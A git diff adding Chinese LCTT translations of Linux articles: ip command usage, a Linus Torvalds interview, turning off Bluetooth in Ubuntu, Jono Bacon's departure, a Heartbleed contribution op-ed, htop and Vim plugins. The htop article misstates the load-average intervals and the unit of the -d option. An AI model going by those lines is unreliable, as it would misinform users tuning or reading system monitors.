+你也可以使用相同的方式来删除IP地址,只需用del代替add。 + + $ sudo ip addr del 192.168.0.193/24 dev wlan0 + +![delete ip address](http://linoxide.com/wp-content/uploads/2014/04/delete-ip-address.png) + +### 列出路由表条目 ### + +ip命令的路由对象的参数还可以帮助你查看网络中的路由数据,并设置你的路由表。第一个条目是默认的路由条目,你可以随意改动它。 + +在这个例子中,有几个路由条目。这个结果显示有几个设备通过不同的网络接口连接起来。它们包括WIFI、以太网和一个点对点连接。 + + $ ip route show + +![ip route show](http://linoxide.com/wp-content/uploads/2014/04/ip-route-show.png) + +假设现在你有一个IP地址,你需要知道路由包从哪里来。可以使用下面的路由选项(译注:列出了路由所使用的接口等): + + $ ip route get 10.42.0.47 + +![ip route get](http://linoxide.com/wp-content/uploads/2014/04/ip-route-get.png) + +### 更改默认路由 ### + +要更改默认路由,使用下面ip命令: + + $ sudo ip route add default via 192.168.0.196 + +![default route](http://linoxide.com/wp-content/uploads/2014/04/default-route.png) + +### 显示网络统计数据 ### + +使用ip命令还可以显示不同网络接口的统计数据。 + +![ip statistics all interfaces](http://linoxide.com/wp-content/uploads/2014/04/ip-statistics-all-interfaces.png) + +当你需要获取一个特定网络接口的信息时,在网络接口名字后面添加选项**ls**即可。使用多个选项**-s**会给你这个特定接口更详细的信息。特别是在排除网络连接故障时,这会非常有用。 + + $ ip -s -s link ls p2p1 + +![ip link statistics](http://linoxide.com/wp-content/uploads/2014/04/ip-link-statistics-.png) + +### ARP条目 ### + +地址解析协议(ARP)用于将一个IP地址转换成它对应的物理地址,也就是通常所说的MAC地址。使用ip命令的neigh或者neighbour选项,你可以查看接入你所在的局域网的设备的MAC地址。 + + $ ip neighbour + +![ip neighbour](http://linoxide.com/wp-content/uploads/2014/04/ip-neighbour.png) + +### 监控netlink消息 ### + +也可以使用ip命令查看netlink消息。monitor选项允许你查看网络设备的状态。比如,所在局域网的一台电脑根据它的状态可以被分类成REACHABLE或者STALE。使用下面的命令: + + $ ip monitor all + +![ip monitor all](http://linoxide.com/wp-content/uploads/2014/04/ip-monitor-all.png) + +### 激活和停止网络接口 ### + +你可以使用ip命令的up和down选项来激某个特定的接口,就像ifconfig的用法一样。 + +在这个例子中,当ppp0接口被激活和在它被停止和再次激活之后,你可以看到相应的路由表条目。这个接口可能是wlan0或者eth0。将ppp0更改为你可用的任意接口即可。 + + $ sudo ip link set ppp0 down + + $ sudo ip link set ppp0 up + +![ip link set up and down](http://linoxide.com/wp-content/uploads/2014/04/ip-link-set-up-and-down.png) + +### 获取帮助 ### + +当你陷入困境,不知道某一个特定的选项怎么用的时候,你可以使用help选项。man页面并不会提供许多关于如何使用ip选项的信息,因此这里就是获取帮助的地方。 + +比如,想知道关于route选项更多的信息: + + $ ip route help + +![ip route help](http://linoxide.com/wp-content/uploads/2014/04/ip-route-help.png) + +### 小结 ### + +对于网络管理员们和所有的Linux使用者们,ip命令是必备工具。是时候抛弃ifconfig命令了,特别是当你写脚本时。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/use-ip-command-linux/ + +译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxgrill.com/anonymous/iproute2/NEW-OSDL/ \ No newline at end of file diff --git a/published/201406/TechView--Linus Torvalds Inventor of Linux.md b/published/201406/TechView--Linus Torvalds Inventor of Linux.md new file mode 100644 index 0000000000..3e0cf8a92c --- /dev/null +++ b/published/201406/TechView--Linus Torvalds Inventor of Linux.md @@ -0,0 +1,11 @@ +技术视点:李纳斯·托沃兹,Linux的缔造者 ================================================================================ ![](http://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Linus_Torvalds%2C_2002%2C_Australian_Linux_conference.jpg/800px-Linus_Torvalds%2C_2002%2C_Australian_Linux_conference.jpg) > 我们的第一个谈话对象是[李纳斯·托沃兹][1],Linux的传奇缔造者以及开源革命的先驱。托沃兹生于芬兰的赫尔辛基,是诗人奥尔·托沃兹的孙子。尽管他更喜欢告诉人们,他的名字来自于《花生漫画》中的角色,但事实是他是以李纳斯·鲍林——一位两次诺贝尔奖获得者的名字来命名的。他的计算机经历是从一台Commodore计算机上开始的,后来换成了Sinclair和IBM的386。他起初使用的是Minix操作系统,后来换成了他自己的Linux操作系统。托沃兹的妻子托芙是六次芬兰全国空手道冠军,婚后他们定居在加利佛尼亚的圣何塞,育有三个女儿。 **技术视点(TV)**:在当今的技术中,有什么令你感兴趣? **托沃兹**:我差不多是个“鼠目寸光”的家伙,所以相对于那些更空洞的“大潮流”,我对实实在在的技术创新更感兴趣。 我很关注硬件厂商的新产品和最新的芯片,而最能吸引我的(因为毕竟我是个做软件的)是那些开发出新的算法和软件来充分利用这些新功能的人。 **TV**:那在当今科技中,什么会让你感到恼火?它是怎么以及为什么让你愤怒? **托沃兹**:我不会用“愤怒”这个词,但是如果真要说技术领域中有什么让人反感的,那无疑是对那些头顶光环的“领袖”们的赞美。 是的,这种情况也发生在我身上。但是我很不喜欢人们把我以及我所说的话太当回事。我认为,现在流行的“个人崇拜”相当令人不安,即使是对于乔布斯,埃里森,盖茨等众所周知的领袖来说,这个现象也不正常。我希望更多的人能有自主思考,并能意识到技术发展实际上来源于遍布全球的那些默默无闻的伟大工程师的共同智慧。 我理解人们渴望明星,而这种事也不仅仅发生在技术世界中(嘿,我的确希望这事在技术世界中要比娱乐行业来得少 ;) ),但是,这还是有点令人沮丧。 **TV**:相比Red Hat和SuSE,你为什么没有抓住商业授权的机遇?难道如果Linux不开源,它就不会成为Linux了吗?你能谈谈更多情况吗?你是否曾在此事上感到过后悔? **托沃兹**:我肯定不会因为任何事情自责。我现在身在一个令人羡慕的位置上,我能干我喜欢的事情,并赢得大家的尊重。况且,以前一文不得的时候我就很享受我的工作,而现在我从工作中得到了不错的报酬 我相信,很少有人能有机会做与众不同的事情,让我来告诉你吧,这种感觉真不错。对于商业,我从来都不感兴趣。对我来说,那些把Linux商业化的人替我做了我从没有动力做的事情。而这项工作的确需要人做,也很有益。因此,事实上我很感谢那些商业机构,它们让我能集中精力干我想干的那部分事情。 **TV**:在当今的科技界,你尊敬的人有哪些?为什么? **托沃兹**:哈!这个问题又绕回了我对于“个人崇拜”的看法,对“让我们找个人并把他神化”这种事,我一点兴趣都没有。 所以,相比列出来个人名单,我更尊敬像EFF这样的组织,甚至有时候只是观念和想法。因为它们不是要单纯获取自身利益,而是努力去做一些实质性的事情来让技术在一个更大的蓝图中更好地发挥作用。 在个人层面上,我更喜欢那些不自骄自傲,同时又在他们的本职工作上干得很好的人。如果一定要我说一些知名人士,我想我更愿意成为斯蒂芬·沃兹尼克那样的人,我想这也是我尊敬他的原因。 **TV**:就谷歌和微软而言,你认为哪个更成功?为什么? **托沃兹**:我认为,相对胜利者来说,两家公司竞争的过程才是更有趣的。 在谷歌和微软的竞争中,我真的不认为两家公司本身比技术的变革更为有趣。这种变革的本质是从对单个计算机的控制转向对成千上万独立计算机的整合。 **TV**:你认为像科技灾难、互联网泡沫崩溃以及电信业崩盘这样的事为什么会发生?我们在今后怎样来防止它们再发生? **托沃兹**:实际上,我对此类事情持相反的看法,而且我认为没有必要去防止它们再次发生。 我坚信我们应该努力去挑战极限,而不是追求百分之百的稳定和理性 大多数技术发展都不是有规律可循的,有的像火山爆发,有的事后可能被认为是夸大其词,有的刚出来时一点都不讨人喜欢。但事实上,如果太过努力去保持理性和避免做蠢事,就会扼杀创造力。 我个人认为,真正稳定可靠的发展模式不是持续的微创新,而是通过超载和崩溃带来的系统演替。持续的微创新虽然看起来是一个好的选择,但是不经历超载和崩溃,你怎么可能发现系统的极限,并对它进行改进呢? **TV**:技术在未来会怎样改变我们的生活?你会和其它领域的领军者一起创建新技术吗,比如生物信息学? **托沃兹**:我个人的理论是,技术对我们的生活的改变,远没有我们构建技术来适应我们的生活来得多。 这就是为什么你看不到飞行汽车等科幻小说中受欢迎的东西——但是相反,你却看到了利用技术来降低成本,使得一些此前就存在但是却因为成本因素不能大规模应用或者量身定制的事情被更多人接受。 因此,技术很少直接改变我们的生活本身——虽然它往往意味着更多的人能获得那些以前罕见的或只限于土豪们的东西。 真正的改变发生在当某些事物变得如此廉价并且随手可得,从而改变了你的行为的时候。而在很多方面,这些行为上的改变要比技术本身来得更有趣。 例如,互联网带来的一大革命,是让你可以用极低的成本找到志趣相投的人并与他们进行交流。而且,我认为许多真正的改变正是来自于当人们无需付出太多努力就能找到其他对同一事物有相同兴趣的人时,他们的习惯会如何改变。 因此,你发现了所有的这些专业兴趣小组,许多人都在花大量时间讨论那些最神秘的问题,他们刚刚发现这些问题很有趣——这些事,你在之前不一定能实际去做,因为那时真的很难找到和你一样在某些不同寻常的专业上感兴趣的人并进行讨论。 而我认为那是生活真正改变的方式——不是因为任何新技术的出色特性,而完全是因为技术降低边际成本后带来的惊喜。 **TV**:就你而言,谁是当今科技界最举足轻重的人物? **托沃兹**:我想大量的技术由消费市场推动,而不再是由军方或商业需求推动这一点很说明问题。我也常常认为,许多公司正在推进的愚蠢事情(特别是DRM)都忽略了一个事实:任何技术上最重要的人,最终总是“用户”。 因此,就我而言,我认为你的问题的答案是“用户”,或者叫“消费者”,而这确实是最重要的部分,因为用户正是市场需求和商业成功的根源。 **TV**:请谈一些你个人的观点吧,比如宗教?政治? **托沃兹**:我完全是一个虔诚的——无神论者。我发现人们似乎认为宗教带给人道德和对自然的敬畏,但事实上我认为它反而把这两方面都削弱了。它给了人们借口说“哇,世界是被创造出来的”,而创世是神秘而不可测的。我更欣赏的说法是“哇,真让人难以置信,这样的事情竟然会首先发生”。具有讽刺意味的是,在许多欧洲国家,国家和宗教已经从法律意义上结合在了一起。 我现在是一位美国公民,并且我也拥有投票权。但是,坦率地说,我不支持任何政党,因为我的个人骄傲不允许我和任何政党有关联。 **TV**:谢谢,李纳斯! + +-------------------------------------------------------------------------------- + +via: http://www.huffingtonpost.com/billrobinson/techview-linus-torvalds-i_b_5338844.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[reinoir](https://github.com/reinoir),mahua + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://en.wikipedia.org/wiki/Linus_Torvalds diff --git a/published/201406/Turn Off Bluetooth By Default In Ubuntu 14.04 [Quick Tip].md b/published/201406/Turn Off Bluetooth By Default In Ubuntu 14.04 [Quick Tip].md new file mode 100644 index 0000000000..133ce762ed --- /dev/null +++ b/published/201406/Turn Off Bluetooth By Default In Ubuntu 14.04 [Quick Tip].md @@ -0,0 +1,47 @@ +如何在Ubuntu 14.04中默认关闭蓝牙 +================================================================================ +![](http://itsfoss.com/wp-content/uploads/2014/05/Bluetooth_Ubuntu.jpeg) + +我最近新买了一台Dell Inspiron 7437,我第一时间做的一些事情之一就是[让预装的Windows 8和Ubuntu 14.04双启动][1]。我旧的笔记本没有蓝牙,听起来很奇怪但事实就是这样。这就是我为何从来没有注意到**蓝牙总是在Ubuntu的每次启动时自动开启**。 + +从节能和安全目的来说这都不是件好事。而且,我几乎不使用蓝牙,所以我为何要让蓝牙默认启用?尽管在Ubuntu中只要一次点击就能关闭蓝牙,但每次登录都要这样重复地做一遍真是件令人泄气的任务。更简单的解决方案是**在Ubuntu启动的时候关闭蓝牙**。 + +在今天的帖子中,我将与您分享如何在每次启动是默认禁用蓝牙。 + +### 在Ubuntu 14.04中默认关闭蓝牙: ### + +打开一个终端并使用以下命令来安装[gksu][2](如果你还没有安装它的话)(译注:如果你已经有了gksu,那么可以使用它;如果还没有,也不想安装,那你使用sudo一样可以)。 + + sudo apt-get install gksu + +gksu是用来在以root权限运行程序时输入密码的程序。当你已经安装了gksu之后,使用下列命令: + + gksudo gedit /etc/rc.local + +它会打开rc.local这个文件。只需在文件中的exit 0之前加入下列命令: + + rfkill block bluetooth + +就这样,你的rc.local文件看起来就像这样: + +![](http://itsfoss.com/wp-content/uploads/2014/05/rfkill_Bluetooth.png) + +这就是全部步骤了。重新启动电脑,您应该能够看到蓝牙已经被禁用了。当然您需要使用它的时候可以从指示器面板的蓝牙标志打开它。 + +### 小说明: ### + +这一小部分只是对我们做了什么进行简短的解释。您并不一定要阅读完这一部分。您可以直接跳到评论部分留下您的建议和感谢 :) + +rc.local文件是用来记录在系统启动的时候运行的各种shell命令的。这些命令是用户定义的。在一个新的安装中,rc.local文件中没有任何命令。我们做的就是在这里面加入命令 **rfkill block bluetooth**。[rfkill][3]是一个用来查询各种开关,按钮和底层系统接口状态的工具。我们在rc.local中使用这个命令来在每次启动的时候软关闭(译注:与其对应的是硬关闭,指通过硬件开关来关闭)蓝牙。我希望这些能把原理解释的清楚一点。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/turn-off-bluetooth-by-default-in-ubuntu-14-04/ + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://itsfoss.com/install-ubuntu-1404-dual-boot-mode-windows-8-81-uefi/ +[2]:https://wiki.gnome.org/action/show/Apps/Attic/gksu?action=show&redirect=gksu +[3]:http://wireless.kernel.org/en/users/Documentation/rfkill diff --git a/published/201406/Ubuntu Linux Community Manager Jono Bacon Leaves Canonical.md b/published/201406/Ubuntu Linux Community Manager Jono Bacon Leaves Canonical.md new file mode 100644 index 0000000000..b3558a2816 --- /dev/null +++ b/published/201406/Ubuntu Linux Community Manager Jono Bacon Leaves Canonical.md @@ -0,0 +1,34 @@ +Ubuntu Linux社区经理Jono Bacon离开Canonical公司 +================================================================================ +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2014/05/jonobacon.jpg) + +Canonical——Ubuntu Linux背后的公司,其任职已久的社区经理将离职。[Jono Bacon][1],一直是 Ubuntu 业界最熟悉的面孔之一,他将在[XPRIZE基金会][2]任新职。 + +Bacon于2006年加入Canonical,从[其博客可知][3]他是在收到XPRIZE的录用通知后决定离开Canonical的,XPRIZE[自称][4]为“创新引擎”和“造福人类的催化剂”。他将会在XPRIZE就任社区主管,施展他过去八年中在帮助协调Ubuntu社区方面所获得的能力。 + +虽然Bacon在Canonical不是直接负责商业或者发展方面,但是他的离开对于Ubuntu和开源界来说都是一件大事儿,在Ubuntu和开源界实际社区参与比行政头衔更重要。与Ubuntu的创始人和Canonical的前CEO [Mark Shuttleworth][5]一起,Bacon是早期Ubuntu生态系统项目的领军人物之一。 + +Bacon可以说在塑造Ubuntu的很多方面比Jane Silber更有影响力。Jane Silber自2010年一直是Canonical的CEO,但是他在公共场合的出面一般是很少的。 + +Bacon带领的团队包括Daniel Holbach,David Planella,Michael Hall,Nicholas Skaggs和Alan Pope。Bacon说,他们将会接手他社区领袖的工作。然而,尚不清楚的是Canonical是否会填补他留的社区经理职位。 + +也许Canonical不会。在很多方面,维持一个社区领袖与开源精神格格不入,开源精神往往赞扬的是分散的、用户主导的社区组织。一些Ubuntu的粉丝可能会因Bacon离职的新闻而感到恐慌。 + +不过,Bacon帮助指导过Ubuntu社区度过一系列的危机——从Canonical将Ubuntu软件中心设计为一个商店的失败尝试,到与Fedora群体的摩擦,到关于将Amazon.com搜索特性植入到新的Ubuntu的争议。他在Ubuntu的生态系统上留下了光辉业绩,没有他这一切将完全不同。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/ubuntu/052214/ubuntu-linux-community-manager-jono-bacon-leaves-canonical + +译者:[linuhap](https://github.com/linuhap) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.jonobacon.org/ +[2]:http://www.xprize.org/ +[3]:http://www.jonobacon.org/2014/05/19/goodbye-canonical-hello-xprize/ +[4]:http://www.xprize.org/about/who-we-are +[5]:http://markshuttleworth.com/ +[6]:http://thevarguy.com/ubuntu/ubuntu-software-store-will-your-kids-try-it +[7]:http://thevarguy.com/open-source-application-software-companies/tensions-between-ubuntu-fedora-mount-over-new-website +[8]:http://thevarguy.com/var-guy/controversy-erupts-over-amazon-search-ubuntu-1210 diff --git a/published/201406/What Heartbleed Teaches Us--Be An Open Source Contributor, Not Just A User.md b/published/201406/What Heartbleed Teaches Us--Be An Open Source Contributor, Not Just A User.md new file mode 100644 index 0000000000..20555f7924 --- /dev/null +++ b/published/201406/What Heartbleed Teaches Us--Be An Open Source Contributor, Not Just A User.md @@ -0,0 +1,66 @@ +心脏流血教给我们的:成为开源的贡献者而不仅是个用户 +================================================================================ +![](http://readwrite.com/files/styles/1400_0/public/fields/heart-shaped-hole-heartbleed.jpg) + +> 如果你的公司依赖像OpenSSL这样的开源软件,是时候主动点了。 + +心脏流血漏洞让开源社区如芒在背。 + +ComputerWorld的Richi Jennings [抨击说][1]“又一个非常可怕的开源失败。”(他是要做标题党么?)ZDNet的Steven J. Vaughan-Nichols不像是作秀反开源,却仍旧将心脏流血漏洞[渲染为][2]“开源软件的最遭时刻”。而最后,ZDNet的Chris Duckett则务实地[倡议][3]:“商业公司(应该)筹集资金来避免心脏流血再次发生。” + +而实际上,企业资金并不是解决心脏流血事件的最终答案 。你才是! + +想要避免开源失败的公司应该不仅仅是开源软件的用户,还要是贡献者。 + +### 贡献者乘坐头等舱 ### + +贡献者能够引导特定的项目。他们占据主动,而不是被动接受。大多数企业缺乏资源参与他们所使用的所有开源项目,但每家公司都可以资助给那些真正关系到他们的项目。并且资助得越多,得到的好处越大。 + +开源就是一个不断给予的礼物,尤其是给予那些对开源反哺的人们。 + +我在MongoDB的同事[Adam Comerford让这点更有说服力][4]:如果你看看第一批得知Heartbleed漏洞的[时间线] [5],那些第一批得知的(如谷歌)有一个相当大的优势。如Comford所说的,这些公司有一个显著的优势就是他们可以在bug还未大规模传开的时候率先采取措施保护他们的系统。 + + +鉴于早期了解像Heartbleed之类问题的优势,Comerford问:“我如何确保我在这类问题的早期通知列表里面?” + + +如果你依赖于专有软件,你有一个答案:向卖方支付大量的金钱,并希望他适时地响应。但是,如果你正在使用开源软件,有一个更多选择: “要么有大量的员工给[开源项目]做贡献 ,或者...有认识主要贡献者的员工(我们可以找找,他们大多也会贡献其他开源软件项目,像其他的极客和呆瓜一样。“ + +Comerford断言说,好处不止这样: + +> 这有很多好处 - 除了让问题及早通知,让手头上的专家来应付这些棘手的更新,以评估你的风险,甚至可能在公众知道之前内部解决问题。在确定项目的方向上你还可以得到重视的回馈,可以影响到关键特性的优先级。最终,你会得到社区的善意,使产品变得更好,并有可能成为其它的聪明贡献者的工作目标。 + +换句话说,参与进来。成员有特权,主要的特权可能就是信息。 + +### 选择在哪贡献 ### + +同样,没有一家公司有足够的资源来有效地促进所有它所使用的项目,这就是为什么Comerford建议对关键项目上这么做的原因: + +> 如果你要人们列出在企业中所有开源关键技术,你可能会得到一张很长的名单。然后,告诉他们,他们将必须清点人工和预算来支持清单上的每一种技术的话(并验证它) - 它可能会迅速缩水。 + +如果你是一个AMD那样的芯片公司,给Linux内核贡献基本驱动程序和其他代码很可能是强制性的。给LibreOffice贡献可能不是。或者,如果你判断你的未来在Hadoop上进行深层数据分析,你应该贡献Hadoop,即使你依旧免费使用OpenSSL社区的成果。比如Dish Networks公司,它的[ CIO告诉上周在开放商业会上的人们][6],他们正在将重要的数据从关系型数据库转到Apache的Kafka,那他最好研究Kafka的代码,即使他不贡献给Apache HTTP服务器项目。 + +每家公司都有其优先级,以及这些优先级应该以严肃的承诺而确立。 + +这是确保这些项目安全的一部分办法。而另一部分,它是一种形成影响力指引的方式。但同时,红帽公司CEO[Jim Whitehurst][7]早在2008年声明,它是显著减少IT花费的办法: + +> 今天编写的绝大多数软件是企业编写的,不得转售。并且绝大多数是从来没有真正使用过。IT软件开发中的浪费是巨大的....最终,开源给全世界的客户提供价值,我们不仅需要让我们的客户作为开源产品的用户,而且真正加入开源和参与在开发社区。 + + +Comerford坚持认为:“如果我在业务中使用开源软件,我应该雇开发人员来积极给软件做贡献,如果他们自己不是核心开发者,那就雇佣核心开发者。 ”这是充分利用开源软件的关键:给它做贡献,不只是使用它。 + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/05/14/heartbleed-open-source-contribution-users + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://blogs.computerworld.com/encryption/23767/heartbleed-openssl-open-source-fail +[2]:http://www.zdnet.com/heartbleed-open-sources-worst-hour-7000028420/ +[3]:http://www.zdnet.com/openssl-needs-corporate-funding-to-avoid-heartbleed-repeat-7000028385/ +[4]:http://comerford.cc/wordpress/2014/04/15/my-conclusion-heartbleed-timeline/ +[5]:http://www.smh.com.au/it-pro/security-it/heartbleed-disclosure-timeline-who-knew-what-and-when-20140415-zqurk.html +[6]:http://blogs.wsj.com/cio/2014/05/06/dish-looks-to-open-source-software-after-database-failure/ +[7]:http://www.cnet.com/news/red-hat-solve-enterprise-waste-through-open-source/ diff --git a/published/201406/Why htop Command Compete Linux top Command.md b/published/201406/Why htop Command Compete Linux top Command.md new file mode 100644 index 0000000000..d24d530d10 --- /dev/null +++ b/published/201406/Why htop Command Compete Linux top Command.md @@ -0,0 +1,87 @@ +为什么 Linux 的 htop 命令完胜 top 命令 +================================================================================ +在 Linux 系统中,top 命令用来显示系统中正在运行的进程的实时状态,它显示了一些非常有用的信息,比如 CPU 利用情况、内存消耗情况,以及每个进程情况等。但是,你知道吗?还有另外一个命令行工具 'htop',它与传统的 top 命令功能一样,但它有更加强大的功能及能显示更多的信息。这篇文章,我们会用实例来讨论这个 'htop' 命令。 + +### Linux 中的 htop 命令 ### + +下面是从 htop 的手册页摘抄下来的相关描述: + +> 它类似于 top 命令,但可以让你在垂直和水平方向上滚动,所以你可以看到系统上运行的所有进程,以及他们完整的命令行。 +> +> 可以不用输入进程的 PID 就可以对此进程进行相关的操作 (killing, renicing)。 + +### 首先明白它的输出 ### + +**htop 命令**以直观的格式来显示信息。下面是 HTOP 的输出快照: + +![htop](http://linoxide.com/wp-content/uploads/2014/01/htop.png) + +如果你观察窗口的左上角部分,你会看到显示的是 CPU 负载、内存消耗及交换空间的实时信息,右上角包含的是任务、线程、平均负载及系统运行时间的信息。 + +平均负载部分提供了三个数字,这仅仅表示的是过去的5分钟、10分钟和15分钟系统的平均负载而已,在单核的系统中,平均负载为1表示的是百分之百的 CPU 利用率。最后,运行时间 (uptime)标示的数字是从系统启动起到当前的运行总时间。 + +下面,我们将用例子来进一步讨论这个命令。 + +### 1. 用 F2 键编辑配置 ### + +htop 命令提供了许多自定义选项,你所要做的就是从主窗口中按下 F2 键。 + +下面所示的是可用的自定义选项: + +![htop-settings](http://linoxide.com/wp-content/uploads/2014/01/htop-settings.png) + +只需使用箭头键选择和更改特定的设置。 + +### 2. 通过 F9 键发送信号 ### + +htop 命令可以让你很容易地在 htop 窗口内给一个进程发送任意的信号。按下 F9 键即可。 + +![signals](http://linoxide.com/wp-content/uploads/2014/01/signals.png) + +如你所见,窗口的左边部分列出的是所有可用的信号,右边部分列出的是进程。只要选中信号,并选择一个进程,然后按下 enter 键,选中的信号就会发送到此进程。 + +### 3. 显示进程的树状视图 ### + +htop 命令也提供了进程的树状视图查看功能。按下 F5 键切换。 + +下面是 htop 显示树形视图信息的例子: + +![treeView](http://linoxide.com/wp-content/uploads/2014/01/treeView.png) + +要退出树状视图模式,请再一次按下 F5 键。 + +### 4. 通过 F3 键搜索进程 ### + +htop 命令提供了易用的方式来搜索进程。按下 F3 键,一个文本框就会出现在窗口底部。 + +下面是例子: + +![search](http://linoxide.com/wp-content/uploads/2014/01/search1.png) + +如您所见,一条名为‘搜索’的文本提示框出现在窗口底部,您可以在这儿输入进程的名字然后回车搜索。如果找到,它会在列出的进程列表里高亮选中此进程。 + +### 5. 通过空格键来设置颜色标注进程条目 ### + +在系统中运行着的实时进程视图中,要追踪某个进程是个大问题。因为整个列表在不停的刷新着,进程的排列顺序也在变动着。为了这个问题, htop 提供了一个很简单的解决方案:颜色标注。是的,你可以标注一个进程条目,它会以不同的颜色显示,因此要追踪它就变得容易了。 + +要标注某个进程条目,需要做的就是选中此条目,然后按下‘空格’键。例如,在下面的截图示例中,我已经颜色标注了三个进程条目: + +![color-tag](http://linoxide.com/wp-content/uploads/2014/01/color-tag.png) + +所以通过此方法,你就能很轻松地追踪想查看的进程。 + +### 6. 命令行选项 ### + +除了上面介绍的一些热键,htop 还提供了很有用的命令行选项。下面是其中一部分: + +- **-s 选项** : 按指定的列排序。例如,**htop -s PID** 命令会按 PID 列的大小排序来显示。 +- **-u 选项** : 显示指定的用户的进程信息列表。例如,**htop -u himanshu** 命令会只显示出用户名为 himanshu 的相关进程。 +- **-d 选项** : 设置刷新的延迟时间。例如,**htop -d 100** 命令会使输出在1秒后才会刷新(参数 -d 的单位是10微秒)。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-htop-command/ + +译者:[runningwater](https://github.com/runningwater) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201407/20140607 How to turn Vim into a full-fledged IDE.md b/published/201407/20140607 How to turn Vim into a full-fledged IDE.md new file mode 100644 index 0000000000..6705ceefc3 --- /dev/null +++ b/published/201407/20140607 How to turn Vim into a full-fledged IDE.md @@ -0,0 +1,89 @@ +如何将Vim打造成一个成熟的IDE +================================================================================ + +如果你稍微写过一点代码,就能知道“集成开发环境”(IDE)是多么的便利。不管是Java、C还是Python,当IDE会帮你检查语法、后台编译,或者自动导入你需要的库时,写代码就变得容易许多。另外,如果你工作在Linux上,你也会知道Vim在进行文本编辑的时候是多么的方便。所以,你可能会想从Vim中也获取这些IDE特性。 + +事实上,很少有方法可以帮你做到。有些人可能会想到试着把Vim打造成C语言IDE的,比如[c.vim][1];也有把Vim集成到Eclipse里的 [Eclim][2] 。但是我想要告诉你的是一个更加通用的,只用插件实现的方案。你肯定不想因为安装了太多的面板和特性而让你的编辑器变得臃肿不堪。只用插件实现的方案可以让你只选择那些你想要集成到Vim的特性。这样做的额外的一个好处是,这个IDE不是专门针对某一种语言的,可以让你写任何类型的代码。下面就来看一下我的 **把IDE特性带进Vim的前10款插件** 吧。 + +### 先来个福利: Pathogen ### + +首先,可能不是所有人都熟悉Vim的插件,并知道该怎么安装这些插件。所以,我推荐的第一个插件就是[Pathogen][3],因为这个插件会让你更容易安装其他插件。如果你要安装另外的没有在这里列出来的插件,用Pathogen会变得非常简单。它的[官方页面][3]的文档写的非常好,去下载安装一个吧。接下来插件的安装也会变得容易很多。 + +### 1. SuperTab ### + +![](https://c2.staticflickr.com/6/5158/14332189422_34aeb086ed_z.jpg) + +我们习惯于IDE的第一个原因就是它的自动补全功能。所以,我喜欢这个非常方便的,给了Tab键“超能力”的 [SuperTab][5] 插件。 + +### 2. Syntastic ### + +![](https://farm4.staticflickr.com/3894/14354095583_ce9b112b97_z.jpg) + +如果你需要使用一种以上的语言进行编程,有时候是非常容易混淆不同语言之间的语法的。幸运的是,[syntastic][6] 会帮你检查,然后告诉你是否应该加上圆括号或者方括号,或者告诉你在某个地方,你忘了一个分号。 + +### 3. Auto Pairs ### + +另外一件让程序员们抓狂的事是:我是不是少加了最后一个括号?!每个人都讨厌用手指去数那些隔的非常远的括号。为了处理这个问题,我用 [Auto Pairs][7] 插件,这个插件会自动插入和格式化方括号和圆括号。 + +### 4. NERD Commenter ### + +如果你在找一个可以支持多种程序语言的注释代码的快捷键,你可以试试 [NERD Commenter][8]。即使你不是程序员,我也非常非常推荐这款插件,因为它会让你在注释bash脚本或者其他任何东西的时候都会变得非常高效。 + +### 5. Snipmate ### + +任何一个程序员都知道,好的码农写代码,杰出的码神重用代码。[snipmate][9]可以容易的插入代码片段到你的文件里面,大大的减少了你敲键盘的次数。它默认的包含了很多各种语言的代码片段,你也可以非常容易的添加你自己的。 + +### 6. NERDTree ### + +![](https://farm4.staticflickr.com/3899/14332189462_d66b71cf7c_z.jpg) + +管理一个大的项目时,把代码分散到不同的文件里面是非常好的主意。也是一个基本的编码原则。[NERDTree][10] 是一个不错的可以直接在Vim里使用的文件浏览器,它可以让你随时想到所有的文件。 + +### 7. MiniBufferExplorer ### + +![](https://farm4.staticflickr.com/3904/14332189492_209a3ee2dc_z.jpg) + +为了打造一个文件浏览器,支持同时打开多个文件,没有什么比一个好的缓冲区管理器更重要了。[MiniBufferExplorer][11] 就可以非常漂亮和高效地完成这个工作。它甚至为你的缓冲区设置了不同的颜色和切换快捷键。 + +### 8. Tag List ### + +![](https://farm4.staticflickr.com/3889/14147244138_c04731826a_z.jpg) + +当你同时有多个文件打开时,很容易忘了你都在这些文件里添加了什么。为了防止你忘记,[Tag List][12] 这个代码查看器将会用一种漂亮简洁的格式展示其中的的变量和函数。 + +### 9. undotree ### + +![](https://farm3.staticflickr.com/2913/14354095453_8bb87a3e31_z.jpg) + +对于我们之中那些喜欢undo,redo然后又undo某些更改,然后依据这些来查看整个编辑完成过程的人来说, [undotree][13] 是一个不错插件,可以以一棵树的形式看到你的undo和redo历史。这个功能跟代码完全没有关系,所以这是我非常喜欢的一个插件。 + +### 10. gdbmgr ### + +最后,但并非不重要,每个人都在某个时刻需要一个调试器。如果你喜欢gdb,那么[gbdmgr][14]就是为你准备的,因为它集成了那个著名的调试器到Vim中。 + 